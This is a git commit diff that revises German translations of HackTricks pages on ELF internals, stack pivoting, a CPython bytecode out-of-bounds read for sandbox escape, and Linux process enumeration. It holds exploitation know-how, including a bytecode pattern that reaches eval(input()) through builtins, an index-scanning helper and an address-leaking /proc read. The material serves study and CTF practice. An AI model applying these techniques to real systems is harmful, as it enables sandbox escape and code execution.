Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-08-19 09:52:27 +00:00
parent 1ab2b42aa7
commit b6c031ddc6
16 changed files with 373 additions and 350 deletions

View File

@ -881,7 +881,6 @@
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)

View File

@ -37,11 +37,11 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
Die vorherige Programm hat **9 Programm-Header**, dann zeigt die **Segmentzuordnung**, in welchem Programm-Header (von 00 bis 08) **jeder Abschnitt lokalisiert ist**.
Die vorherige Programm hat **9 Programm-Header**, dann zeigt die **Segmentzuordnung**, in welchem Programm-Header (von 00 bis 08) **jeder Abschnitt sich befindet**.
### PHDR - Programm-Header
Enthält die Programm-Header-Tabellen und Metadaten selbst.
Enthält die Programm-Header-Tabellen und die Metadaten selbst.
### INTERP
@ -54,7 +54,7 @@ Gibt den Pfad des Loaders an, der verwendet werden soll, um die Binärdatei in d
Diese Header werden verwendet, um anzugeben, **wie eine Binärdatei in den Speicher geladen werden soll.**\
Jeder **LOAD**-Header gibt einen Bereich des **Speichers** (Größe, Berechtigungen und Ausrichtung) an und zeigt die Bytes der ELF **Binärdatei, die dort kopiert werden sollen**.
Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird mit 0x528 ab dem Offset 0xfc48 gefüllt (es füllt nicht den gesamten reservierten Platz). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird von dem Offset 0xfc48 mit 0x528 gefüllt (es füllt nicht den gesamten reservierten Platz). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
### DYNAMIC
@ -88,7 +88,7 @@ Im vorherigen Beispiel kopiert es 0x3b8 Bytes nach 0x1fc48 als schreibgeschützt
Beachten Sie, dass RELRO teilweise oder vollständig sein kann, die partielle Version schützt den Abschnitt **`.plt.got`** nicht, der für **lazy binding** verwendet wird und diesen Speicherplatz benötigt, um **Schreibberechtigungen** zu haben, um die Adresse der Bibliotheken beim ersten Suchen ihres Standorts zu schreiben.
> Für Exploitationstechniken und aktuelle Umgehungsnotizen, überprüfen Sie die dedizierte Seite:
> Für Exploitationstechniken und aktuelle Umgehungsnotizen, überprüfen Sie die spezielle Seite:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
@ -173,7 +173,7 @@ Es zeigt auch den Standort, den Offset, die Berechtigungen, aber auch den **Date
- **`.text`**: Die Anweisung des Programms, die ausgeführt werden soll.
- **`.data`**: Globale Variablen mit einem definierten Wert im Programm.
- **`.bss`**: Globale Variablen, die nicht initialisiert sind (oder auf null gesetzt). Variablen hier werden automatisch auf null initialisiert, wodurch unnötige Nullen zum Binärformat verhindert werden.
- **`.bss`**: Globale Variablen, die nicht initialisiert sind (oder auf null initialisiert). Variablen hier werden automatisch auf null initialisiert, wodurch unnötige Nullen vermieden werden, die zur Binärdatei hinzugefügt werden.
- **`.rodata`**: Konstante globale Variablen (schreibgeschützter Abschnitt).
- **`.tdata`** und **`.tbss`**: Wie die .data und .bss, wenn thread-lokale Variablen verwendet werden (`__thread_local` in C++ oder `__thread` in C).
- **`.dynamic`**: Siehe unten.
@ -206,13 +206,13 @@ Jeder Symbol-Eintrag enthält:
- **Name**
- **Bindungsattribute** (schwach, lokal oder global): Ein lokales Symbol kann nur vom Programm selbst zugegriffen werden, während globale Symbole außerhalb des Programms geteilt werden. Ein schwaches Objekt ist zum Beispiel eine Funktion, die von einer anderen überschrieben werden kann.
- **Typ**: NOTYPE (kein Typ angegeben), OBJECT (globale Datenvariable), FUNC (Funktion), SECTION (Sektion), FILE (Quellcodedatei für Debugger), TLS (thread-lokale Variable), GNU_IFUNC (indirekte Funktion für Relokation)
- **Sektion** Index, wo es sich befindet
- **Sektion**-Index, wo es sich befindet
- **Wert** (Adresse im Speicher)
- **Größe**
#### GNU Symbolversionierung (dynsym/dynstr/gnu.version)
Moderne glibc verwendet Symbolversionen. Sie werden Einträge in `.gnu.version` und `.gnu.version_r` sowie Symbolnamen wie `strlen@GLIBC_2.17` sehen. Der dynamische Linker kann eine spezifische Version bei der Auflösung eines Symbols erfordern. Beim Erstellen manueller Relokationen (z. B. ret2dlresolve) müssen Sie den richtigen Versionsindex angeben, andernfalls schlägt die Auflösung fehl.
Moderne glibc verwendet Symbolversionen. Sie werden Einträge in `.gnu.version` und `.gnu.version_r` sowie Symbolnamen wie `strlen@GLIBC_2.17` sehen. Der dynamische Linker kann eine spezifische Version bei der Auflösung eines Symbols verlangen. Bei der Erstellung manueller Relokationen (z.B. ret2dlresolve) müssen Sie den richtigen Versionsindex angeben, andernfalls schlägt die Auflösung fehl.
## Dynamische Sektion
```
@ -270,7 +270,7 @@ Die Einträge `DT_RPATH` (veraltet) und/oder `DT_RUNPATH` beeinflussen, wo der d
## Relokationen
Der Loader muss auch Abhängigkeiten nach dem Laden umsetzen. Diese Relokationen sind in der Relokationstabelle in den Formaten REL oder RELA angegeben, und die Anzahl der Relokationen wird in den dynamischen Abschnitten RELSZ oder RELASZ angegeben.
Der Loader muss auch Abhängigkeiten nach dem Laden relocieren. Diese Relokationen sind in der Relokationstabelle in den Formaten REL oder RELA angegeben, und die Anzahl der Relokationen wird in den dynamischen Abschnitten RELSZ oder RELASZ angegeben.
```
readelf -r lnstat
@ -352,7 +352,7 @@ Zum Beispiel sollte jeder Abschnitt vom Typ `R_AARCH64_RELATIV` die Adresse am R
Die Relokation könnte auch auf ein externes Symbol verweisen (wie eine Funktion aus einer Abhängigkeit). Wie die Funktion malloc aus libC. Dann wird der Loader beim Laden von libC an einer Adresse, an der die malloc-Funktion geladen ist, diese Adresse in die GOT (Global Offset Table) Tabelle (angegeben in der Relokationstabelle) schreiben, wo die Adresse von malloc angegeben werden sollte.
### Verfahren Linktabelle
### Verfahren Linkage Tabelle
Der PLT-Bereich ermöglicht eine verzögerte Bindung, was bedeutet, dass die Auflösung des Standorts einer Funktion beim ersten Zugriff durchgeführt wird.
@ -378,7 +378,7 @@ Wenn ein Programm also malloc aufruft, ruft es tatsächlich den entsprechenden S
## Programminitialisierung
Nachdem das Programm geladen wurde, ist es Zeit, dass es ausgeführt wird. Der erste Code, der ausgeführt wird, ist jedoch **nicht immer die `main`**-Funktion. Dies liegt daran, dass zum Beispiel in C++, wenn eine **globale Variable ein Objekt einer Klasse ist**, dieses Objekt **vor** dem Ausführen von main **initialisiert** werden muss, wie in:
Nachdem das Programm geladen wurde, ist es Zeit, dass es ausgeführt wird. Der erste Code, der ausgeführt wird, ist jedoch **nicht immer die `main`**-Funktion. Dies liegt daran, dass beispielsweise in C++, wenn eine **globale Variable ein Objekt einer Klasse ist**, dieses Objekt **vor** dem Ausführen von main **initialisiert** werden muss, wie in:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -399,7 +399,7 @@ printf("Main\n");
return 0;
}
```
Beachten Sie, dass sich diese globalen Variablen in `.data` oder `.bss` befinden, aber in den Listen `__CTOR_LIST__` und `__DTOR_LIST__` die Objekte zur Initialisierung und Zerstörung gespeichert sind, um sie im Auge zu behalten.
Beachten Sie, dass sich diese globalen Variablen in `.data` oder `.bss` befinden, aber in den Listen `__CTOR_LIST__` und `__DTOR_LIST__` die Objekte zur Initialisierung und Zerstörung gespeichert sind, um sie nachverfolgen zu können.
Aus C-Code ist es möglich, dasselbe Ergebnis mit den GNU-Erweiterungen zu erzielen:
```c
@ -429,15 +429,15 @@ Darüber hinaus ist es auch möglich, ein **`PREINIT_ARRAY`** mit **Zeigern** zu
3. **`PREINIT_ARRAY`**-Funktionen werden ausgeführt.
4. **`INIT_ARRAY`**-Funktionen werden ausgeführt.
5. Wenn es einen **`INIT`**-Eintrag gibt, wird dieser aufgerufen.
6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier, wenn es sich um ein Programm handelt, ist es Zeit, den **tatsächlichen Einstiegspunkt** (Funktion `main`) aufzurufen.
6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier, wenn es sich um ein Programm handelt, ist es Zeit, den **echten Einstiegspunkt** (Funktion `main`) aufzurufen.
## Thread-lokaler Speicher (TLS)
Sie werden in C++ mit dem Schlüsselwort **`__thread_local`** oder der GNU-Erweiterung **`__thread`** definiert.
Sie werden mit dem Schlüsselwort **`__thread_local`** in C++ oder der GNU-Erweiterung **`__thread`** definiert.
Jeder Thread hat einen einzigartigen Speicherort für diese Variable, sodass nur der Thread auf seine Variable zugreifen kann.
Wenn dies verwendet wird, werden die Abschnitte **`.tdata`** und **`.tbss`** im ELF verwendet. Diese sind wie `.data` (initialisiert) und `.bss` (nicht initialisiert), jedoch für TLS.
Wenn dies verwendet wird, werden die Sektionen **`.tdata`** und **`.tbss`** im ELF verwendet. Diese sind wie `.data` (initialisiert) und `.bss` (nicht initialisiert), jedoch für TLS.
Jede Variable hat einen Eintrag im TLS-Header, der die Größe und den TLS-Offset angibt, der der Offset ist, den sie im lokalen Datenbereich des Threads verwenden wird.
@ -451,7 +451,7 @@ Der Linux-Kernel übergibt einen Hilfsvektor an Prozesse, der nützliche Adresse
- `AT_SYSINFO_EHDR`: Basisadresse der vDSO-Zuordnung (praktisch, um `__kernel_*`-Systemaufrufe und Gadgets zu finden).
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ` usw.
Als Angreifer, wenn Sie Speicher oder Dateien unter `/proc` lesen können, können Sie diese oft ohne einen Infoleak im Zielprozess leaken:
Als Angreifer können Sie, wenn Sie Speicher oder Dateien unter `/proc` lesen können, diese oft ohne einen Infoleak im Zielprozess auslesen:
```bash
# Show the auxv of a running process
cat /proc/$(pidof target)/auxv | xxd

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP/RBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des Rahmenzeigers und der **`leave; ret`** Instruktionssequenz zu verketten.
@ -22,7 +22,7 @@ Und da das gespeicherte **EBP/RBP im Stack** vor dem gespeicherten EIP/RIP liegt
Diese Technik ist besonders nützlich, wenn Sie **das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern**. Sie nutzt das Verhalten des Funktionsepilogs.
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** in den Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das `pop` zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86 für das `pop`), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den `ret` konsumieren wird.
@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger vollständig weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger ganz weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
## Andere Möglichkeiten, RSP zu steuern
@ -212,11 +212,11 @@ Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
1) Verwenden Sie einen kleinen anfänglichen Overflow, um `read`/`recv` in einen großen beschreibbaren Bereich (z. B. `.bss`, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren.
2) Kehren Sie in ein Pivot-Gadget zurück (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), um RSP in diesen Bereich zu verschieben.
3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode lesen und dann zu ihm springen).
3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode `read`, dann zu ihm springen).
## Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
Moderne x86-CPUs und Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem gepivotteten Stack ausgeführt wird.
Moderne x86-CPUs und -Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem pivotierten Stack ausgeführt wird.
- Für Hintergrundinformationen und tiefere Details siehe:
@ -239,14 +239,14 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
(gdb) checksec
```
- Hinweise für Labs/CTF:
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binärdateien, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
- JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell `ret`-basierte Pivots.
- Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei `ret`; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
## ARM64
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es auch nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
Daher können Sie standardmäßig durch das Ausnutzen des Epilogs **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
@ -255,7 +255,7 @@ Daher können Sie standardmäßig durch das Ausnutzen des Epilogs **das SP-Regis
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP zeigt auf den Frame-Datensatz
mov x29, sp // FP zeigt auf den Frame-Record
```
- Epilog
@ -267,7 +267,7 @@ ret
```
> [!CAUTION]
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog auszunutzen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem Sie ein Register kontrollieren, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog auszunutzen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
@ -280,9 +280,9 @@ Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- 64 Bit, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines Qwords. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge ausnutzt + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch das Ausnutzen dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge ausnutzt + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch das Ausnutzen dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
- Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK, `nousershstk`, `/proc/$PID/status`-Flags und Aktivierung über `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

View File

@ -6,7 +6,7 @@
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
Wir können die OOB-Read-Funktion im LOAD_NAME / LOAD_CONST Opcode nutzen, um ein Symbol im Speicher zu erhalten. Das bedeutet, dass wir Tricks wie `(a, b, c, ... hunderte von Symbolen ..., __getattribute__) if [] else [].__getattribute__(...)` verwenden, um ein Symbol (wie den Funktionsnamen) zu erhalten, das wir wollen.
Wir können die OOB-Read-Funktion im LOAD_NAME / LOAD_CONST Opcode verwenden, um ein Symbol im Speicher zu erhalten. Das bedeutet, dass wir Tricks wie `(a, b, c, ... hunderte von Symbolen ..., __getattribute__) if [] else [].__getattribute__(...)` verwenden, um ein Symbol (wie den Funktionsnamen) zu erhalten, das wir wollen.
Dann erstellen Sie einfach Ihren Exploit.
@ -25,7 +25,7 @@ Auf diese Weise können alle Ausdrücke, die Konstanten (z. B. Zahlen, Strings u
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
Wie kommt es zu dem Segfault?
Wie tritt der Segfault auf?
Lassen Sie uns mit einem einfachen Beispiel beginnen, `[a, b, c]` könnte in den folgenden Bytecode kompiliert werden.
```
@ -35,9 +35,9 @@ Lassen Sie uns mit einem einfachen Beispiel beginnen, `[a, b, c]` könnte in den
6 BUILD_LIST 3
8 RETURN_VALUE12345
```
Aber was passiert, wenn das `co_names` ein leeres Tupel wird? Der `LOAD_NAME 2` Opcode wird weiterhin ausgeführt und versucht, den Wert von der Speicheradresse zu lesen, von der er ursprünglich lesen sollte. Ja, das ist eine Out-of-Bound-Lese "Funktion".
Aber was ist, wenn das `co_names` ein leeres Tupel wird? Der `LOAD_NAME 2` Opcode wird weiterhin ausgeführt und versucht, den Wert von der Speicheradresse zu lesen, von der er ursprünglich gelesen werden sollte. Ja, das ist eine Out-of-Bound-Lese "Funktion".
Das grundlegende Konzept für die Lösung ist einfach. Einige Opcodes in CPython, wie `LOAD_NAME` und `LOAD_CONST`, sind anfällig (?) für OOB-Lesevorgänge.
Das grundlegende Konzept für die Lösung ist einfach. Einige Opcodes in CPython, zum Beispiel `LOAD_NAME` und `LOAD_CONST`, sind anfällig (?) für OOB-Lesevorgänge.
Sie rufen ein Objekt vom Index `oparg` aus dem `consts` oder `names` Tupel ab (so werden `co_consts` und `co_names` im Hintergrund genannt). Wir können auf den folgenden kurzen Ausschnitt über `LOAD_CONST` verweisen, um zu sehen, was CPython tut, wenn es den `LOAD_CONST` Opcode verarbeitet.
```c
@ -63,7 +63,7 @@ Angenommen, wir können einen `__getattribute__` Namen von Offset 5 (`LOAD_NAME
```
> Beachten Sie, dass es nicht notwendig ist, es als `__getattribute__` zu benennen, Sie können es auch kürzer oder seltsamer benennen.
Sie können den Grund dafür verstehen, indem Sie einfach den Bytecode ansehen:
Sie können den Grund dafür einfach verstehen, indem Sie den Bytecode ansehen:
```python
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
@ -80,7 +80,7 @@ Sie können den Grund dafür verstehen, indem Sie einfach den Bytecode ansehen:
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
```
Beachten Sie, dass `LOAD_ATTR` auch den Namen aus `co_names` abruft. Python lädt Namen aus demselben Offset, wenn der Name gleich ist, sodass das zweite `__getattribute__` weiterhin von offset=5 geladen wird. Mit dieser Funktion können wir einen beliebigen Namen verwenden, sobald der Name im nahegelegenen Speicher vorhanden ist.
Beachten Sie, dass `LOAD_ATTR` auch den Namen aus `co_names` abruft. Python lädt Namen aus demselben Offset, wenn der Name identisch ist, sodass das zweite `__getattribute__` weiterhin von offset=5 geladen wird. Mit dieser Funktion können wir einen beliebigen Namen verwenden, sobald der Name im nahegelegenen Speicher vorhanden ist.
Für die Generierung von Zahlen sollte es trivial sein:
@ -227,11 +227,11 @@ builtins['eval'](builtins['input']())
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → lesen Namen aus `co_names[...]` (für 3.11+ beachten Sie, dass `LOAD_ATTR`/`LOAD_GLOBAL` Flag-Bits im niedrigsten Bit speichern; der tatsächliche Index ist `namei >> 1`). Siehe die Disassembler-Dokumentation für genaue Semantik pro Version. [Python dis docs].
- Python 3.11+ führte adaptive/inline Caches ein, die versteckte `CACHE`-Einträge zwischen den Anweisungen hinzufügen. Dies ändert nicht das OOB-Primitiv; es bedeutet nur, dass Sie, wenn Sie Bytecode manuell erstellen, diese Cache-Einträge beim Erstellen von `co_code` berücksichtigen müssen.
Praktische Implikation: Die Technik auf dieser Seite funktioniert weiterhin auf CPython 3.11, 3.12 und 3.13, wenn Sie ein Code-Objekt kontrollieren können (z. B. über `CodeType.replace(...)`) und `co_consts`/`co_names` verkleinern.
Praktische Auswirkung: Die Technik auf dieser Seite funktioniert weiterhin auf CPython 3.11, 3.12 und 3.13, wenn Sie ein Code-Objekt kontrollieren können (z. B. über `CodeType.replace(...)`) und `co_consts`/`co_names` verkleinern.
### Schneller Scanner für nützliche OOB-Indizes (3.11+/3.12+ kompatibel)
Wenn Sie es vorziehen, interessante Objekte direkt aus Bytecode zu erkunden, anstatt aus hochrangigem Quellcode, können Sie minimale Code-Objekte generieren und Indizes brute-forcen. Der folgende Helfer fügt automatisch Inline-Caches ein, wenn nötig.
Wenn Sie es vorziehen, interessante Objekte direkt aus Bytecode zu erkunden, anstatt aus hochrangigem Quellcode, können Sie minimale Code-Objekte generieren und Indizes bruteforcen. Der folgende Helfer fügt automatisch Inline-Caches ein, wenn nötig.
```python
import dis, types
@ -272,9 +272,9 @@ print(idx, type(obj), repr(obj)[:80])
```
Notizen
- Um stattdessen Namen zu prüfen, tauschen Sie `LOAD_CONST` gegen `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` aus und passen Sie Ihre Stack-Nutzung entsprechend an.
- Verwenden Sie `EXTENDED_ARG` oder mehrere Bytes von `arg`, um Indizes >255 zu erreichen, falls erforderlich. Wenn Sie mit `dis` wie oben arbeiten, steuern Sie nur das niedrige Byte; für größere Indizes erstellen Sie die Rohbytes selbst oder teilen den Angriff über mehrere Ladevorgänge auf.
- Verwenden Sie `EXTENDED_ARG` oder mehrere Bytes von `arg`, um Indizes >255 zu erreichen, falls erforderlich. Wenn Sie wie oben mit `dis` bauen, steuern Sie nur das niedrige Byte; für größere Indizes erstellen Sie die Rohbytes selbst oder teilen den Angriff über mehrere Ladevorgänge auf.
### Minimaler Bytecode-Only RCE-Pattern (co_consts OOB → builtins → eval/input)
### Minimaler Bytecode-Only RCE-Muster (co_consts OOB → builtins → eval/input)
Sobald Sie einen `co_consts`-Index identifiziert haben, der auf das Builtins-Modul verweist, können Sie `eval(input())` ohne irgendwelche `co_names` rekonstruieren, indem Sie den Stack manipulieren:
```python
@ -287,9 +287,9 @@ Sobald Sie einen `co_consts`-Index identifiziert haben, der auf das Builtins-Mod
```
Dieser Ansatz ist nützlich bei Herausforderungen, die Ihnen direkte Kontrolle über `co_code` geben, während `co_consts=()` und `co_names=()` erzwungen werden (z. B. BCTF 2024 “awpcode”). Er vermeidet Tricks auf Quellcode-Ebene und hält die Payload-Größe klein, indem er Bytecode-Stack-Operationen und Tupel-Builder nutzt.
### Defensive Überprüfungen und Milderungen für Sandboxes
### Defensive Überprüfungen und Minderung für Sandboxes
Wenn Sie eine Python-“Sandbox” schreiben, die nicht vertrauenswürdigen Code kompiliert/bewertet oder Codeobjekte manipuliert, verlassen Sie sich nicht auf CPython, um die Grenzen der Tupelindizes, die von Bytecode verwendet werden, zu überprüfen. Validieren Sie stattdessen die Codeobjekte selbst, bevor Sie sie ausführen.
Wenn Sie eine Python-“Sandbox” schreiben, die nicht vertrauenswürdigen Code kompiliert/bewertet oder Code-Objekte manipuliert, verlassen Sie sich nicht auf CPython, um die Grenzen der Tupel-Indizes, die von Bytecode verwendet werden, zu überprüfen. Validieren Sie stattdessen die Code-Objekte selbst, bevor Sie sie ausführen.
Praktischer Validator (verwirft OOB-Zugriff auf co_consts/co_names)
```python

View File

@ -162,14 +162,14 @@ Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch **openVAS** verwen
## Prozesse
Werfen Sie einen Blick darauf, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?).
Werfen Sie einen Blick darauf, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?)
```bash
ps aux
ps -ef
top -n 1
```
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die laufen, Sie könnten dies ausnutzen, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemanden überschreiben.
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die ausgeführt werden, da Sie diese missbrauchen könnten, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemandes Dateien überschreiben.
### Prozessüberwachung
